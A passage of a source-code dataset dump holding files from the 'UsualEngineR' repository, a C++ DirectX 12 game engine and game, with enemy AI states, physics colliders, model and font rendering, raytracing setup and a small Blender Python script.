"license_type": "no_license",
"max_line_length": 64,
"num_lines": 26,
"path": "/Game/Enemy/State/EnemyLongDistanceTargetingState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n#include \"EnemyLongDistanceAttackState.h\"\n\nclass EnemyLongDistanceTargetingState final : public IEnemyState\n{\npublic:\n\tEnemyLongDistanceTargetingState();\n\t~EnemyLongDistanceTargetingState();\n\n\tvoid Init(IK* ik, Quaternion& rot, float bulletSpeed);\n\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tEnemyLongDistanceAttackState m_lda;\n\n\tIK* m_ik = nullptr;\n\tfloat m_timer = 0.f;\n\tconst float m_timeLimit = 2.f;\n\tQuaternion* m_rot = nullptr;\n\tfloat m_speed = 0.f;\n\n\tfloat m_overLookRange = 300.f;\n};\n"
},
{
"alpha_fraction": 0.695652186870575,
"alphanum_fraction": 0.695652186870575,
"avg_line_length": 6.777777671813965,
"blob_id": "aa642a4d1e444ceec43cc31218fb93e72c900861",
"content_id": "3bdc86d3cc12c67da273d0bcc8135f39fde6e29c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 69,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 9,
"path": "/UsualEngineR/Thread/ConstMutex.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"ConstMutex.h\"\n\n\n\nnamespace UER\n{\n\n}"
},
{
"alpha_fraction": 0.6762820482254028,
"alphanum_fraction": 0.6762820482254028,
"avg_line_length": 14.649999618530273,
"blob_id": "35d0b14a7c0bf55e45bfcc725ba6aa9c129715e2",
"content_id": "66e12379e06a5d594753d665efbf886714c4cfea",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 312,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 20,
"path": "/UsualEngineR/Physics/SphereCollider.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"SphereCollider.h\"\n\nnamespace UER\n{\n\tSphereCollider::~SphereCollider()\n\t{\n\t\tRelease();\n\t}\n\tvoid SphereCollider::Release()\n\t{\n\t\tif (m_body != nullptr)\n\t\t\tdelete m_body;\n\t\tm_body = nullptr;\n\t}\n\tvoid SphereCollider::Create(float radius)\n\t{\n\t\tm_body = new btSphereShape(radius);\n\t}\n}"
},
{
"alpha_fraction": 0.6281754970550537,
"alphanum_fraction": 0.6339492201805115,
"avg_line_length": 15.767742156982422,
"blob_id": "766562fad6ce7318e31ede8488353edc78a5e5c1",
"content_id": "df15751c683497a97fb8f15906287aa4ebe75e54",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2652,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 155,
"path": "/UsualEngineR/Graphics/ModelRender.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"Animation.h\"\n\nnamespace UER\n{\n\tclass IK;\n\t//\n\tclass ModelRender:public GameObject\n\t{\n\tpublic:\n\t\tModelRender() {}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tvirtual void Release() override;\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tvirtual void OnDestroy() override;\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <param name=\"initdata\"></param>\n\t\tvoid Init(const ModelInitData& initdata);\n\n\t\tvoid InitAnimation(const std::map<int,CAnimationClipPtr>& anim, int animNum);\n\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tvoid Awake() override;\n\n\t\tvoid Update() override;\n\n\t\tvoid PreRender() override;\n\t\tvoid Render() override;\n\n\t\tvoid Play(const int animNum,float interpolateTime=0.0f)\n\t\t{\n\t\t\tm_animation.Play(animNum, interpolateTime);\n\t\t}\n\n\t\tvoid SetPosition(const Vector3& v)\n\t\t{\n\t\t\tm_position = v;\n\t\t}\n\t\tvoid SetScale(const Vector3& v)\n\t\t{\n\t\t\tm_scale = v;\n\t\t}\n\t\tvoid SetRotation(const Quaternion& v)\n\t\t{\n\t\t\tm_rotation = v;\n\t\t}\n\t\tvoid SetMulColor(const Vector4& col)\n\t\t{\n\t\t\tm_mulColor = col;\n\t\t}\n\n\t\tconst Vector3& GetPosition() const\n\t\t{\n\t\t\treturn m_position;\n\t\t}\n\t\tconst Vector3& GetScale() const\n\t\t{\n\t\t\treturn m_scale;\n\t\t}\n\t\tconst Quaternion& GetRotation() const\n\t\t{\n\t\t\treturn m_rotation;\n\t\t}\n\n\t\tCAnimation& GetAnimation()\n\t\t{\n\t\t\treturn m_animation;\n\t\t}\n\n\t\tvoid SetIsRender(bool b)\n\t\t{\n\t\t\tm_isRender = b;\n\t\t}\n\t\tbool IsRender() const\n\t\t{\n\t\t\treturn m_isRender;\n\t\t}\n\n\t\tModel& GetModel()\n\t\t{\n\t\t\treturn m_model;\n\t\t}\n\n\t\tvoid SetAnimPlaySpeed(float speed)\n\t\t{\n\t\t\tm_animPlaySpeed = speed;\n\t\t}\n\t\tfloat GetAnimPlaySpeed() const\n\t\t{\n\t\t\treturn m_animPlaySpeed;\n\t\t}\n\n\t\tbool IsAnimPlaying() const\n\t\t{\n\t\t\treturn m_animation.IsPlaying();\n\t\t}\n\n\t\tIK* CreateIK(Bone* startBone, Bone* endBone, float radius)\n\t\t{\n\t\t\treturn m_model.CreateIK(startBone, endBone, radius);\n\t\t}\n\n\t\tIK* CreateIK(Bone* startBone, int len, float radius)\n\t\t{\n\t\t\treturn m_model.CreateIK(startBone, len, radius);\n\t\t}\n\n\t\tvoid SetShadowCasterFrag(bool b)\n\t\t{\n\t\t\tm_isShadowCaster = b;\n\t\t}\n\n\t\tbool IsShadowCaster() const\n\t\t{\n\t\t\treturn m_isShadowCaster;\n\t\t}\n\n\t\tvoid SetInstancingFrag(bool b)\n\t\t{\n\t\t\tm_isInstancing = b;\n\t\t}\n\t\tvoid SetInstanceNum(int i)\n\t\t{\n\t\t\tm_instanceNum = i;\n\t\t}\n\tprivate:\n\t\tModel m_model;\t\t\t\t//モデル\n\t\tCAnimation m_animation;\t\t//アニメーション\n\n\t\tVector3 m_position = Vector3::Zero;\t\t\t\t//位置。\n\t\tVector3 m_scale = Vector3::One;\t\t\t\t\t//大きさ\n\t\tQuaternion m_rotation = Quaternion::Identity;\t//回転。\n\t\tVector4 m_mulColor = Vector4::White;\n\n\t\tbool m_isInit = false;\n\t\tbool m_isRender = false;\t//レンダリングする?\n\n\t\tfloat m_animPlaySpeed = 1.f;\n\n\t\tbool m_isShadowCaster = true;\n\n\t\tbool m_isInstancing = false;\n\t\tint m_instanceNum = 1;\n\t};\n}"
},
{
"alpha_fraction": 0.666994571685791,
"alphanum_fraction": 0.6847023963928223,
"avg_line_length": 28.05714225769043,
"blob_id": "d99c064795eef5af5ab23b078f26410245f7abf4",
"content_id": "2ba74951662e2fdd97e995c5865b608541d7fe5e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2033,
"license_type": "no_license",
"max_line_length": 149,
"num_lines": 70,
"path": "/UsualEngineR/Graphics/Font.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Font.h\"\n\n\nnamespace UER\n{\n\tFont::Font()\n\t{\n\t\tm_spriteBatch = g_graphicsEngine->GetSpriteBatch();\n\t\tm_spriteFont = g_graphicsEngine->GetSpriteFont();\n\t\tm_heap = g_graphicsEngine->GetFontDescriptorHeap();\n\t\tD3D12_VIEWPORT vp = { 0.f,0.f,FRAME_BUFFER_W ,FRAME_BUFFER_H,D3D12_MIN_DEPTH,D3D12_MAX_DEPTH };\n\t\tm_spriteBatch->SetViewport(vp);\n\t}\n\tFont::~Font()\n\t{\n\t}\n\tvoid Font::Init()\n\t{\n\t\t\n\t}\n\tvoid Font::Begin()\n\t{\n\t\tauto* cl = g_graphicsEngine->GetCommandList();\n\t\tID3D12DescriptorHeap* heaps[] = { m_heap };\n\t\tcl->SetDescriptorHeaps(1, heaps);\n\t\tm_spriteBatch->Begin(g_graphicsEngine->GetCommandList(), DirectX::SpriteSortMode_Deferred, m_scaleMat);\n\t}\n\tvoid Font::End()\n\t{\n\t\tm_spriteBatch->End();\n\t}\n\tvoid Font::Draw(const wchar_t* text, const Vector2& pos, const Vector4& color, float rot, float sca, const Vector2& pivot)\n\t{\n\t\tVector2 piv = pivot;\n\t\tpiv.y = 1.0f - piv.y;\n\t\tVector2 position;\n\t\tposition.x = pos.x + FRAME_BUFFER_W * 0.5f;\n\t\tposition.y = -pos.y + FRAME_BUFFER_H * 0.5f;\n\n\t\tswitch (m_fontDrawType)\n\t\t{\n\t\tcase FT_Frame:\n\t\t\tDrawFrame(text, position, m_fontEffectColor, rot, sca, piv);\n\t\t\tbreak;\n\t\tcase FT_Shadow:\n\t\t\t//DrawShadow(text, position, m_fontEffectColor, rot, sca, piv);\n\t\t\tbreak;\n\t\t}\n\n\t\tm_spriteFont->DrawString(m_spriteBatch, text, position.vec, color, rot, DirectX::XMFLOAT2(piv.x, piv.y), sca, DirectX::SpriteEffects_None);\n\t}\n\tvoid Font::DrawFrame(const wchar_t* text, const Vector2& pos, const Vector4& color, float rot, float sca, const Vector2& pivot)\n\t{\n\t\tVector2 ofsList[] = {\n\t\t{m_fontEffectOffset,0.f},\n\t\t{-m_fontEffectOffset,0.f},\n\t\t{0.f,m_fontEffectOffset},\n\t\t{0.f,-m_fontEffectOffset},\n\t\t{m_fontEffectOffset,m_fontEffectOffset},\n\t\t{m_fontEffectOffset,-m_fontEffectOffset},\n\t\t{-m_fontEffectOffset,-m_fontEffectOffset},\n\t\t{-m_fontEffectOffset,m_fontEffectOffset},\n\t\t};\n\t\tfor (const auto& ofs : ofsList)\n\t\t{\n\t\t\tm_spriteFont->DrawString(m_spriteBatch, text, (pos + ofs).vec, color, rot, DirectX::XMFLOAT2(pivot.x, pivot.y), sca, DirectX::SpriteEffects_None);\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.6933846473693848,
"alphanum_fraction": 0.7084354162216187,
"avg_line_length": 30.065217971801758,
"blob_id": "b9aaf7866afabe2f85ab0be2f0f8fcd5d0b96bd4",
"content_id": "51354bd7f24a822a44e1b1fe721f123e62ce13b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3321,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 92,
"path": "/UsualEngineR/Graphics/Raytracing/RaytracingDescriptorHeaps.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"RaytracingDescriptorHeaps.h\"\n#include \"Material.h\"\n\n#include \"GPUBuffer.h\"\n\nnamespace UER\n{\n\tnamespace raytracing {\n\t\tvoid DescriptorHeaps::Init(\n\t\t\tWorld& world,\n\t\t\tGPUBuffer& outputBuffer,\n\t\t\tConstantBuffer& rayGeneCB\n\t\t)\n\t\t{\n\n\t\t\t//レイトレの出力先をディスクリプタヒープに登録する。\n\t\t\tm_srvUavCbvHeap.RegistUnorderAccessResource(0, outputBuffer);\n\t\t\tm_srvUavCbvHeap.RegistConstantBuffer(0, rayGeneCB);\n\t\t\tint regNo = 0;\n\t\t\tworld.QueryInstances([&](Instance& instance)\n\t\t\t\t{\n\t\t\t\t\tm_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eTLAS,\n\t\t\t\t\t\tworld.GetTLASBuffer()\n\t\t\t\t\t);\n\t\t\t\t\t//アルベドマップをディスクリプタヒープに登録。\n\t\t\t\t\tm_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eAlbedoMap,\n\t\t\t\t\t\tinstance.m_material->GetAlbedoMap()\n\t\t\t\t\t);\n\t\t\t\t\t//法線マップをディスクリプタヒープに登録。\n\t\t\t\t\tm_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eNormalMap,\n\t\t\t\t\t\tinstance.m_material->GetNormalMap()\n\t\t\t\t\t);\n\t\t\t\t\t//スペキュラマップをディスクリプタヒープに登録。\n\t\t\t\t\tm_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eSpecularMap,\n\t\t\t\t\t\tinstance.m_material->GetSpecularMap()\n\t\t\t\t\t);\n\n\t\t\t\t\t//TODO: 作ってないよ!\n\t\t\t\t\t////リフレクションマップをディスクリプタヒープに登録。\n\t\t\t\t\t//m_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t//\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eReflectionMap,\n\t\t\t\t\t//\tinstance.m_material->GetReflectionMap()\n\t\t\t\t\t//);\n\n\t\t\t\t\t//作ってないよ!\n\t\t\t\t\t////屈折マップをディスクリプタヒープに登録。\n\t\t\t\t\t//m_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t//\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eRefractionMap,\n\t\t\t\t\t//\tinstance.m_material->GetRefractionMap()\n\t\t\t\t\t//);\n\t\t\t\t\t//頂点バッファをディスクリプタヒープに登録。\n\t\t\t\t\tm_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eVertexBuffer,\n\t\t\t\t\t\tinstance.m_vertexBufferRWSB\n\t\t\t\t\t);\n\t\t\t\t\t//インデックスバッファをディスクリプタヒープに登録。\n\t\t\t\t\tm_srvUavCbvHeap.RegistShaderResource(\n\t\t\t\t\t\tregNo + (int)EHitGroup_PBRMaterialHitSRV::eIndexBuffer,\n\t\t\t\t\t\tinstance.m_indexBufferRWSB\n\t\t\t\t\t);\n\t\t\t\t\tregNo += (int)EHitGroup_PBRMaterialHitSRV::eNum;\n\n\t\t\t\t});\n\n\t\t\t//サンプラステートの扱いは仮。\n\t\t\tD3D12_SAMPLER_DESC samplerDesc = {};\n\t\t\tsamplerDesc.Filter = D3D12_FILTER_MIN_MAG_MIP_LINEAR;\n\t\t\tsamplerDesc.AddressU = D3D12_TEXTURE_ADDRESS_MODE_WRAP;\n\t\t\tsamplerDesc.AddressV = D3D12_TEXTURE_ADDRESS_MODE_WRAP;\n\t\t\tsamplerDesc.AddressW = D3D12_TEXTURE_ADDRESS_MODE_WRAP;\n\t\t\tsamplerDesc.MipLODBias = 0;\n\t\t\tsamplerDesc.MaxAnisotropy = 1;\n\t\t\tsamplerDesc.ComparisonFunc = D3D12_COMPARISON_FUNC_ALWAYS;\n\t\t\tsamplerDesc.BorderColor[0] = 1.0f;\n\t\t\tsamplerDesc.BorderColor[1] = 1.0f;\n\t\t\tsamplerDesc.BorderColor[2] = 1.0f;\n\t\t\tsamplerDesc.BorderColor[3] = 1.0f;\n\t\t\tsamplerDesc.MinLOD = 0.0f;\n\t\t\tsamplerDesc.MaxLOD = D3D12_FLOAT32_MAX;\n\n\t\t\t//サンプラステートをディスクリプタヒープに登録する。\n\t\t\tm_samplerDescriptorHeap.RegistSamplerDesc(0, samplerDesc);\n\t\t\tm_samplerDescriptorHeap.CommitSamperHeap();\n\t\t\tm_srvUavCbvHeap.Commit();\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.6561086177825928,
"alphanum_fraction": 0.6651583909988403,
"avg_line_length": 19.18181800842285,
"blob_id": "484c528468e9bd115234c061f5bce75b89d0d61d",
"content_id": "b385a5f20d90994801207607341fa0e05cd66fd6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 221,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 11,
"path": "/Game/Assets/SAGYO/map/ObjRename.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\n\nimport bpy\n\n\nobj = bpy.context.selected_objects\nfor i,o in enumerate(obj):\n #o.name = \"map_commit_%0d\"%i\n o.MaterialProps.texture_alb = \"\\\\lrm_tex.png\"\n #o.MaterialProps.texture_nor = \"\\\\mNor.png\""
},
{
"alpha_fraction": 0.7096691727638245,
"alphanum_fraction": 0.7139009833335876,
"avg_line_length": 29.580392837524414,
"blob_id": "c1eddf3466373b69ca368f351694dc99f9f11a6a",
"content_id": "3055edcb4cde6aa037fceafc02119545288cdafe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7798,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 255,
"path": "/Game/Enemy/Boss/Boss_MiddleBomb.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Boss_MiddleBomb.h\"\n#include \"Enemy/Drop/DropItemBom.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/State/MiddleBombState/BossBombIdleState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombDeadState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombBattleState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombLaunchState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombJumpState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombGuardState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombCoroCoroState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombFullFrontalState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombBashState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombRollingState.h\"\n#include \"Enemy/State/MiddleBombState/BossBombStunState.h\"\n#include \"Enemy/BossBGM.h\"\n\nBoss_MiddleBomb::Boss_MiddleBomb()\n{\n\n}\n\nBoss_MiddleBomb::~Boss_MiddleBomb()\n{\n\tPhysics().RemoveRigidBody(m_rigidBody);\n\tm_shieldGhost.Release();\n}\n\nvoid Boss_MiddleBomb::Init()\n{\n\tm_isNormalEnemy = false;\n\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/boss/mb/mb.tkm\";\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\tmid.m_tksFilePath = \"Assets/modelData/boss/mb/mb.tks\";\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\n\t\n\tm_ShieldModel = NewGO<ModelRender>(0);\n\tmid.m_tkmFilePath = \"Assets/modelData/boss/mb/mb_Shield.tkm\";\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_tksFilePath = nullptr;\n\tmid.m_upAxis = enUpAxisZ;\n\tm_ShieldModel->Init(mid);\n\tm_ShieldModel->SetScale(Vector3::One * m_scale);\n\n\tModel model;\n\tmid.m_tkmFilePath = \"Assets/modelData/boss/mb/mb_ShieldColli.tkm\";\n\tmid.m_upAxis = enUpAxisZ;\n\tmodel.Init(mid);\n\tm_meshColl.CreateFromSkinModel(model);\n\tRigidBodyInfo info;\n\tinfo.collider = &m_meshColl;\n\tinfo.mass = 0;\n\tm_rigidBody.Create(info);\n\tm_rigidBody.GetBody()->setUserIndex(enCollisionAttr_Wall | GameCollisionAttribute::BombShield);\n\tm_rigidBody.GetBody()->setUserPointer((void*)1999);\n\tPhysics().AddRigidBody(m_rigidBody);\n\n\tMatrix offsetScaleMat;\n\toffsetScaleMat.MakeScaling({ 1.3f,2.f,1.f });\n\tm_meshColl_ghost.CreateFromSkinModel(model, &offsetScaleMat);\n\tm_shieldGhost.Create(&m_meshColl_ghost, { 0,0,0 }, Quaternion::Identity);\n\n\n\tSetAutoRotateFlag(false);\n\n\tInitAnim();\n\n\t{\n\t\tauto ske = m_model->GetModel().GetSkelton();\n\t\tm_shieldBone = ske->GetBone(ske->FindBoneID(L\"Shield\"));\n\t\tauto ik = m_model->CreateIK(m_shieldBone, 1, 0.5f);\n\t\tSetIK(TO_INT(EnIK::enArm_R), ik);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\t}\n\n\t//State\n\tSetState(m_stateMap[static_cast<int>(IEnemy::EnState::enIdleState)]);\n\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n\tm_charaCon.AddNonHitCollisionAttribute(TO_INT(GameCollisionAttribute::BombShield));\n\tm_isNormalEnemy = false;\n\n\tBossBombData::GetInstance().ReInit();\n\tBossBombData::GetInstance().meshColl = &m_meshColl;\n\tBossBombData::GetInstance().rigidBody = &m_rigidBody;\n\tBossBombData::GetInstance().shieldGhost = &m_shieldGhost;\n\n\tGetModel()->GetAnimation().AddAnimationEventListener([&](const wchar_t* clipName, const wchar_t* eventName)\n\t\t{\n\t\t\tint res = std::wcscmp(eventName, L\"jump_start\");\n\t\t\tif (res == 0)\n\t\t\t{\n\t\t\t\tBossBombData::GetInstance().isJumpStart = true;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\telse\n\t\t\t\tBossBombData::GetInstance().isJumpStart = false;\n\n\n\t\t\tres = std::wcscmp(eventName, L\"bash_start\");\n\t\t\tif (res == 0)\n\t\t\t{\n\t\t\t\tprintf(\"start\\n\");\n\t\t\t\tBossBombData::GetInstance().isBashAttack = true;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tres = std::wcscmp(eventName, L\"bash_end\");\n\t\t\tif (res == 0)\n\t\t\t{\n\t\t\t\tprintf(\"end\\n\");\n\t\t\t\tBossBombData::GetInstance().isBashAttack = false;\n\t\t\t\treturn;\n\t\t\t}\n\t\t});\n}\nvoid Boss_MiddleBomb::InitState()\n{\n\t{\n\t\tauto s = std::make_pair(TO_INT(IEnemy::EnState::enIdleState), new BossBombIdleState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(IEnemy::EnState::enDeadState), new BossBombDeadState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnState::enBattleState), new BossBombBattleState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnStateEX::Luanch), new BossBombLaunchState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnStateEX::Corocoro), new BossBombCoroCoroState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnStateEX::FullFrontal), new BossBombFullFrontalState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnStateEX::Bash), new BossBombBashState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnStateEX::Rolling), new BossBombRollingState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnStateEX::Guard), new BossBombGuardState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnStateEX::Jump), new BossBombJumpState());\n\t\tm_stateMap.insert(s);\n\t}\n\t{\n\t\tauto s = std::make_pair(TO_INT(EnState::enStunState), new BossBombStunState());\n\t\tm_stateMap.insert(s);\n\t}\n}\nvoid Boss_MiddleBomb::InitIK()\n{\n\tauto ske = m_model->GetModel().GetSkelton();\n\tm_shieldBone = ske->GetBone(ske->FindBoneID(L\"Shield\"));\n\n\t{\n\t\tauto ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Head_IK\")), 1, 0.5f);\n\t\tSetIK(TO_INT(EnIK::enHead), ik);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\t}\n\t{\n\t\tauto ik = m_model->CreateIK(ske->GetBone(ske->FindBoneID(L\"Cannon_IK\")), 2, 0.5f);\n\t\tSetIK(TO_INT(EnIK::enArm_L), ik);\n\t\tik->SetIKMode(IK::enMode_NoneHit);\n\t}\n}\nvoid Boss_MiddleBomb::InitAnim()\n{\n\tSetAnimation(TO_INT(IEnemy::EnAnimation::enIdle), \"Assets/modelData/boss/mb/anim/mb_idle.tka\", true);\n\tSetAnimation(TO_INT(EnAnimEX::Firing), \"Assets/modelData/boss/mb/anim/mb_firing.tka\", false);\n\tSetAnimation(TO_INT(EnAnimEX::FiringUp), \"Assets/modelData/boss/mb/anim/mb_firing_up.tka\", false);\n\tSetAnimation(TO_INT(EnAnimEX::FullFrontal), \"Assets/modelData/boss/mb/anim/mb_fullfrontal_firing.tka\", false);\n\tSetAnimation(TO_INT(EnAnimEX::Bash), \"Assets/modelData/boss/mb/anim/mb_bash.tka\", false);\n\tSetAnimation(TO_INT(EnAnimEX::Guard), \"Assets/modelData/boss/mb/anim/mb_guard.tka\", false);\n\tSetAnimation(TO_INT(EnAnimEX::Jump), \"Assets/modelData/boss/mb/anim/mb_jump.tka\", false);\n\tSetAnimation(TO_INT(EnAnimEX::Angry), \"Assets/modelData/boss/mb/anim/mb_angry.tka\", false);\n\n\tm_model->InitAnimation(m_animationMap, TO_INT(EnAnimEX::Num));\n\tm_model->Play(TO_INT(IEnemy::EnAnimation::enIdle));\n}\n\nvoid Boss_MiddleBomb::ExecuteCommon()\n{\n\tconst auto& wm = m_shieldBone->GetWorldMatrix();\n\tauto pos = wm.GetTransrate();\n\tauto rot = wm.GetRotate();\n\n\tm_ShieldModel->SetPosition(pos);\n\tm_ShieldModel->SetRotation(rot);\n\n\tm_shieldGhost.SetPosition(pos);\n\tm_shieldGhost.SetRotation(rot);\n\n\tauto& tra = m_rigidBody.GetBody()->getWorldTransform();\n\ttra.setOrigin({ pos.x, pos.y, pos.z });\n\ttra.setRotation({ rot.x ,rot.y ,rot.z ,rot.w });\n}\n\nvoid Boss_MiddleBomb::Execute()\n{\n\tconst float hpper = m_ability.hp / m_ability.max_hp;\n\tif(hpper < 1.f / 5.f)\n\t{\n\t\tBossBombData::GetInstance().feeling = BossBombData::EnFeel::Tired;\n\t}\n\telse if (hpper < 2.f / 3.f)\n\t{\n\t\tBossBombData::GetInstance().feeling = BossBombData::EnFeel::Angry;\n\t}\n\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\n\t/*btTransform tra;\n\tm_rigidBody.GetBody()->getMotionState()->getWorldTransform(tra);\n\ttra.setOrigin({ pos.x, pos.y, pos.z });\n\ttra.setRotation({rot.x ,rot.y ,rot.z ,rot.w });\n\tm_rigidBody.GetBody()->getMotionState()->setWorldTransform(tra);*/\n\t//m_rigidBody.GetBody()->setWorldTransform(tra);\n}\n\nvoid Boss_MiddleBomb::Terminate()\n{\n\tDeleteGO(m_model);\n\tDeleteGO(m_ShieldModel);\n\tEnemyManager::GetEnemyManager().SetBombBoss(nullptr);\n}\n\nvoid Boss_MiddleBomb::SpawnDropItem() {\n\tauto item = NewGO<DropItemBom>(0);\n\titem->SetPosition(m_position);\n}\n"
},
{
"alpha_fraction": 0.7058823704719543,
"alphanum_fraction": 0.7058823704719543,
"avg_line_length": 7.625,
"blob_id": "10275e8011f4507a6137fdbff26c30bcc79aab46",
"content_id": "6c126559651ba27ae773b0c5a6d9e4fb5283a8ff",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 68,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 8,
"path": "/UsualEngineR/Debug/DebugPopup.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"DebugPopup.h\"\n\n\nnamespace UER\n{\n\n}"
},
{
"alpha_fraction": 0.6641167998313904,
"alphanum_fraction": 0.6787204742431641,
"avg_line_length": 20.147058486938477,
"blob_id": "bb959423cf949712bd1b1e201d2c18b70cd66358",
"content_id": "5bb3df1453eb5725affc08d6720b27c56d65d9de",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1618,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 68,
"path": "/Game/Enemy/State/LongBigState/EnemyLongBigAttackState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\nclass EnemyLongBigTargetingState;\nclass MuzzleFlash;\nclass Beam;\n/// <summary>\n/// このクラスはEnemyLongBigTargetingStateが保持。\n/// </summary>\nclass EnemyLongBigAttackState final : public IEnemyState\n{\npublic:\n\t~EnemyLongBigAttackState();\n\tvoid Init(IK* ik, float bulletSpeed, EnemyLongBigTargetingState* lbt);\n\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\n\tvoid SetVelocity(Vector3& v)\n\t{\n\t\tm_velocity = std::move(v);\n\t}\n\tvoid SetTarget(Vector3&& v)\n\t{\n\t\tm_target = v;\n\t}\n\tvoid SetIK(IK* ik)\n\t{\n\t\tm_ik = ik;\n\t}\nprivate:\n\t/// <summary>\n\t/// チャージする。\n\t/// </summary>\n\t/// <returns>チャージできたかどうか。</returns>\n\tbool Charge(IEnemy* e);\n\t/// <summary>\n\t/// ビームの当たり判定。\n\t/// </summary>\n\t/// <param 